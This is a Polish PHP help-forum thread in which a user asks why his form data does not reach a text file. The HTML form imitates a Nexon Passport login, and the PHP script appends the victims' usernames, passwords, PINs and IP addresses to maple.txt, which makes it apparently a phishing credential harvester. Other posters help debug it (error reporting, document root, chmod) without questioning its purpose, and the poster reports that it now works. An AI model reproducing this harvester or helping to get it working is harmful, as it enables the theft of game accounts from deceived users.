Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: [PHP]Dane z formularza do Pliku
Forum PHP.pl > Forum > Przedszkole
robsonq
Witam!
Mam problem z napisaniem strony - mam 3 pola do wpisania danych, i docelowo te dane mają zapisać sie na pliku txt.
Problem w tym, że napisałem w/w formularz i skrypt php zapożyczyłem z tej strony... Mimo to po wpisaniu danych do formularza nic się nie dzieje (nic nie pojawia się w pliku tekstowym)

  1. <form name="frmLogin" method="post" action="login.php" id="frmLogin">


  1. <label class="passport_id">Nexon Passport ID</label><input name="username" id="txtId" tabindex="1" size="16" type="text">
  2.  
  3. <label class="passport_pw">Nexon Passport P/W</label><input name="password" id="txtPassword" tabindex="2" maxlength="12" type="password">
  4.  
  5. <label class="passport_pin">Nexon Pin</label><input name="pin" id="pin" tabindex="2" maxlength="4" type="password">
  6.  
  7. <input name="btnLogin" value="" id="btnLogin" tabindex="3" class="btn_signin" type="submit">


Oto dwie części strony HTML, moim zdaniem odpowiedzialne za cały proces, no i skrypt php.

  1. <?php
  2.  
  3. #
  4. // register_globals!
  5. #
  6. $username = $_POST['username'];
  7. #
  8. $password = $_POST['password'];
  9. #
  10. $pin = $_POST['pin'];
  11. #
  12.  
  13. #
  14. $address = getenv("REMOTE_ADDR");
  15. #
  16.  
  17. #
  18. $filename = "$DOCUMENT_ROOT/maple.txt";
  19. #
  20. $nam = stripslashes($username);
  21. #
  22. $topi = stripslashes($password);
  23. #
  24. $messag = stripslashes($pin);
  25. #
  26.  
  27. #
  28. $a = "<hr>Username: $username<br>n";
  29. #
  30. $a2 = "Password: $password<br>n";
  31. #
  32. $a3 = "Pin: $pin<br>n";
  33. #
  34. $a4 = "IP: $address<br><br>nn";
  35. #
  36. $a5 = date ("d-m-Y");
  37. #
  38. $a6 = date ("G:i");
  39. #
  40. $filed = @fopen($filename, "a+");
  41. #
  42. @fwrite($filed, "$a $a2 $a3 $a4 $a5 $a6");
  43. #
  44.  
  45. #
  46. fclose($filed);
  47. #
  48.  
  49. #
  50. $msg = "<p>Data Input complete</P>";
  51. #
  52.  
  53.  
  54. ?>


Jeśli ktoś może mnie naprowadzić na dobry trop, byłbym wdzięczny! smile.gif

Pozdrawiam
TrevorGryffits
Wyskakują ci błędy...
Tylko je wyciszasz "@". Usuń je i dodaj na początek error_reporting(E_ALL); i pokaż jakie masz błędy...
robsonq
Przepraszam, niezbyt znam się na php ogólnie, i przyznam że tą stronę tworzyłem w wielkich bólach tongue.gif
Wystarczy że na początek skryptu dodam error_reporting(E_ALL); ?
Bo jeśli tak - to nic się nie pojawia smile.gif
Przepraszam za brak ogłady ale niezbyt na tym się znam tongue.gif

pozdrawiam!
TrevorGryffits
A usunąłeś "@" sprzed nazw funkcji?
thek
Ja jestem ciekaw skąd wytrzasnąłeś $DOCUMENT_ROOT... Ja znam jedynie $_SERVER['DOCUMENT_ROOT'] winksmiley.jpg
franki01
Po pierwsze. Wygodniej Ci będzie, jak plik będziesz miał w tym samym katalogu, co skrypt. Zamień
Kod
$filename = "$DOCUMENT_ROOT/maple.txt";
na
Kod
$filename = './maple.txt';


Po drugie. Plik maple.txt musi istnieć na serwerze z chmodem 0777. Ewentualnie katalog macierzysty ma mieć chmod 0777 a właścicielem pliku powinien być skrypt.
thek
A na co mu 777? Jeśli to ma być tylko dla skryptu do odczytu i zapisu to nawet 600 może być winksmiley.jpg Niech zajrzy sobie do chmod i zdecyduje jakie uprawnienia nadać. Ja nadal sądzę, że pewnie ma php5 i zamiast $_SERVER['DOCUMENT_ROOT'] walnął $DOCUMENT_ROOT bo gdzieś tak w jakimś starym tutorialu przeczytał. A dlaczego? Popatrzcie na kod. Raz używa odwołanie (prawidłowe) przez tablice $_POST, innym razem używa getenv a potem $DOCUMENT_ROOT. Przecież to wydaje się logiczne, że gdyby wiedział co kopiuje z netu, to takiego zamieszania by nie robił winksmiley.jpg Użyłby po prostu odwołań poprzez właściwe odwołanie do $_SERVER lub $_POST a nie mieszał wszystkie metody odwołań ze sobą. Dlatego nie wie czy ma włączone php4 czy php5, a jeśli tego nie wie to także świadomie nie może powiedzieć czy tablice superglobalne ma włączone czy nie w php.ini

EDIT: Zapomniałbym dodać, że plik nie musi istnieć. a+ w fopen i tak stworzy go jeśli on nie istnieje
franki01
Cytat(thek @ 6.09.2009, 09:00:43 ) *
A na co mu 777? Jeśli to ma być tylko dla skryptu do odczytu i zapisu to nawet 600 może być winksmiley.jpg

Jeżeli właścicielem pliku albo katalogu, w którym ma się docelowo znajdować, nie jest skrypt, to nie będzie uprawnień do stworzenia, nadpisywania i odczytywania tego pliku bez chmodu 0777.
thek
Skoro tak piszesz to zapewne wiesz czym się różni 6 od 7. Na co mi w pliku do zapisu i odczytu tylko parametr eXecute? winksmiley.jpg Poza tym plik ma a+, czyli w domyśle już mamy, że skrypt sam ten plik zakłada i aktualizuje. Po co więc ktokolwiek ma mieć prawa do odczytu i zapisu poza skryptem? Tu już się kłaniają podstawy bezpieczeństwa i stąd prawa do zapisu i odczytu nadane tylko skryptowi czynią plik przez niego założony o wiele bezpieczniejszym. A ustawieniem 777 pozwoliłeś każdemu na grzebanie wewnątrz tego pliku. To nie jest bezpieczne. Wyobraź sobie teraz, że ktoś w środek wrzuci skrypt i masz na serwerze jazdę bo mu nawet atrybut wykonywalności (X) ustawiłeś poza odczytem i zapisem. Wszystko się powinno robić z głową. A tak masz bardzo poważną lukę bezpieczeństwa. Fajnie? Pza tym nie myl prawa do nadpisywania z prawem do wykonywania. Nie na darmo pewne pliki ustawia się na 755, inne na 644, a jeszcze inne inaczej. Po to te uprawnienia istnieją by nikt niepowołany nie robił co chce z nimi. Jeśli tylko ktoś by zauważył, że masz pliki na 777 to albo za chwilę nie miałbyś już portalu albo zrobili by Ci z niego jesień średniowiecza winksmiley.jpg
franki01
Niech będzie te 6. Z prawami do uruchomienia, też nie można zrobić wszystkiego, bez przesady. Prawda, że jest to nieciekawe, ale co da nam 0777 dla pliku .txt? Nic. Co do fopen z a+, to oczywiście, że najlepsze rozwiązanie. Jednak wtedy katalog musi mieć chmod z wyższymi prawami na czas zakładania pliku, bo wątpię, żeby w tym przypadku założył go skrypt. Wiem, co masz na myśli, ale zaczyna się robić offtopic. Czekamy na autora tematu.
Pozdrawiam.
robsonq
Dziękuje za takie dokładne przedstawienie sprawy!
Wszystko się udało, pacjent żyje stan stabilny tongue.gif
Innymi słowy wszystko działa.

Do wszystkich którzy pomogli leci stosowna pochwała =)


Pozdrawiam
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.